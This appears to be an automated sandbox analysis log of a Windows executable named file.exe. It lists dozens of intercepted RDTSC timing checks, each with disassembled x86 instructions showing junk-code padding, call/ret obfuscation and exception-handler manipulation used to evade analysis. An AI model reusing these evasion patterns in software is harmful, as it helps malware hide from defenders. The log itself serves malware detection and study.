Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710908 second address: 71090D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71090D second address: 710998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F53D9251A48h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D3903h] 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007F53D9251A48h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 call 00007F53D9251A4Dh 0x0000004d sbb edi, 61D6C6EAh 0x00000053 pop edi 0x00000054 mov dword ptr [ebp+122D1A8Fh], edi 0x0000005a xchg eax, ebx 0x0000005b jc 00007F53D9251A54h 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push ecx 0x00000065 jc 00007F53D9251A46h 0x0000006b pop ecx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710998 second address: 71099F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711D89 second address: 711D8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7136F2 second address: 7136FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7145CB second address: 7145E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7136FA second address: 71377E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F53D9251E78h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D246Ah], edx 0x00000029 push dword ptr fs:[00000000h] 0x00000030 stc 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F53D9251E78h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 push ecx 0x00000053 or dword ptr [ebp+122D1C89h], edx 0x00000059 pop edi 0x0000005a mov eax, dword ptr [ebp+122D16B9h] 0x00000060 jnc 00007F53D9251E7Ch 0x00000066 push FFFFFFFFh 0x00000068 mov edi, ecx 0x0000006a nop 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7145E8 second address: 7145F2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F53D9251A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71377E second address: 713782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713782 second address: 71378C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F53D9251A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714862 second address: 71486F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F53D9251E76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715852 second address: 715858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71378C second address: 713792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71660D second address: 716677 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or ebx, 0A0EC000h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F53D9251A48h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov bx, 459Fh 0x00000032 push 00000000h 0x00000034 mov bx, D3C1h 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b push edx 0x0000003c jmp 00007F53D9251A51h 0x00000041 pop edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715858 second address: 71585C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713792 second address: 713796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7176F7 second address: 7176FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7167C6 second address: 7167CB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7176FB second address: 717702 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716879 second address: 7168A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F53D9251A52h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7168A4 second address: 7168AA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717846 second address: 7178CD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F53D9251A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F53D9251A48h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov dword ptr [ebp+1247A743h], edi 0x0000002e mov dword ptr [ebp+1248975Ah], ecx 0x00000034 mov ebx, 53583EC1h 0x00000039 push dword ptr fs:[00000000h] 0x00000040 pushad 0x00000041 jmp 00007F53D9251A54h 0x00000046 popad 0x00000047 mov dword ptr fs:[00000000h], esp 0x0000004e mov ebx, dword ptr [ebp+122D3667h] 0x00000054 mov eax, dword ptr [ebp+122D026Dh] 0x0000005a push FFFFFFFFh 0x0000005c mov edi, dword ptr [ebp+122D2DA3h] 0x00000062 nop 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F53D9251A4Ah 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718738 second address: 718754 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F53D9251E7Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F53D9251E76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7178CD second address: 7178D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7178D3 second address: 7178D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71889C second address: 718913 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bh, 8Fh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F53D9251A48h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F53D9251A48h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e mov edi, dword ptr [ebp+122D379Bh] 0x00000054 mov eax, dword ptr [ebp+122D0CEDh] 0x0000005a push FFFFFFFFh 0x0000005c mov edi, dword ptr [ebp+122D1C1Dh] 0x00000062 nop 0x00000063 pushad 0x00000064 push esi 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718913 second address: 71893E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jns 00007F53D9251E8Fh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71893E second address: 71894C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F53D9251A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71894C second address: 718950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718950 second address: 718954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A93E second address: 71A942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A942 second address: 71A946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D4BF second address: 71D4CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F53D9251E76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D4CA second address: 71D4D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D4D1 second address: 71D515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F53D9251E84h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D2A22h], ebx 0x00000014 push 00000000h 0x00000016 xor ebx, dword ptr [ebp+122D3643h] 0x0000001c push 00000000h 0x0000001e mov edi, 1BDC4A48h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F53D9251E7Fh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D6EC second address: 71D6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C847 second address: 71C84B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5E8 second address: 71E5EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72037B second address: 7203DF instructions: 0x00000000 rdtsc 0x00000002 je 00007F53D9251E89h 0x00000008 jmp 00007F53D9251E83h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F53D9251E7Fh 0x00000015 nop 0x00000016 sub dword ptr [ebp+122D2763h], eax 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F53D9251E78h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 mov bx, 09FBh 0x0000003c push 00000000h 0x0000003e sub bx, F130h 0x00000043 xchg eax, esi 0x00000044 pushad 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C84B second address: 71C85A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251A4Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5EC second address: 71E5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7203DF second address: 7203F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251A4Bh 0x00000009 popad 0x0000000a jng 00007F53D9251A4Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5F2 second address: 71E5F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7203F7 second address: 72040A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jns 00007F53D9251A48h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72040A second address: 72040E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5F9 second address: 71E60A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E60A second address: 71E60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7211CA second address: 7211D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7221EA second address: 7221F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721307 second address: 721311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721311 second address: 7213AB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F53D9251E76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F53D9251E78h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 add bl, FFFFFFC8h 0x0000002b je 00007F53D9251E7Ch 0x00000031 mov dword ptr [ebp+122D2B0Dh], ecx 0x00000037 push dword ptr fs:[00000000h] 0x0000003e xor bh, FFFFFF9Ah 0x00000041 mov dword ptr [ebp+12456BD7h], ecx 0x00000047 mov dword ptr fs:[00000000h], esp 0x0000004e push 00000000h 0x00000050 push ebp 0x00000051 call 00007F53D9251E78h 0x00000056 pop ebp 0x00000057 mov dword ptr [esp+04h], ebp 0x0000005b add dword ptr [esp+04h], 00000017h 0x00000063 inc ebp 0x00000064 push ebp 0x00000065 ret 0x00000066 pop ebp 0x00000067 ret 0x00000068 mov eax, dword ptr [ebp+122D05E1h] 0x0000006e mov ebx, dword ptr [ebp+122D25F8h] 0x00000074 push FFFFFFFFh 0x00000076 mov ebx, dword ptr [ebp+122D1992h] 0x0000007c nop 0x0000007d push ebx 0x0000007e push eax 0x0000007f push edx 0x00000080 jmp 00007F53D9251E7Fh 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724EBF second address: 724EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724EC5 second address: 724ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F53D9251E76h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724ED4 second address: 724EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724EDA second address: 724EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731406 second address: 73140C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73140C second address: 731410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7314D4 second address: 7314D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7314D9 second address: 731513 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F53D9251E7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jnl 00007F53D9251E7Eh 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F53D9251E84h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731513 second address: 731543 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007F53D9251A46h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 jng 00007F53D9251A5Ch 0x00000017 jmp 00007F53D9251A56h 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731622 second address: 731626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731626 second address: 73162C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73162C second address: 731632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731632 second address: 73166F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jno 00007F53D9251A5Fh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jnp 00007F53D9251A4Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73166F second address: 73167D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73167D second address: 731691 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F53D9251A4Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731691 second address: 73169F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7363D2 second address: 7363D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734F7A second address: 734F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007F53D9251E8Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735562 second address: 735569 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7356DC second address: 7356F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F53D9251E7Ch 0x0000000f jng 00007F53D9251E76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7356F1 second address: 735706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F53D9251A4Bh 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735706 second address: 73570A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73588F second address: 7358A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F53D9251A4Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7359F2 second address: 735A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F53D9251E7Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735A0B second address: 735A1B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F53D9251A46h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735A1B second address: 735A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735B9B second address: 735BBE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F53D9251A5Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735BBE second address: 735BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735D3A second address: 735D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnc 00007F53D9251A46h 0x0000000c popad 0x0000000d rdtsc
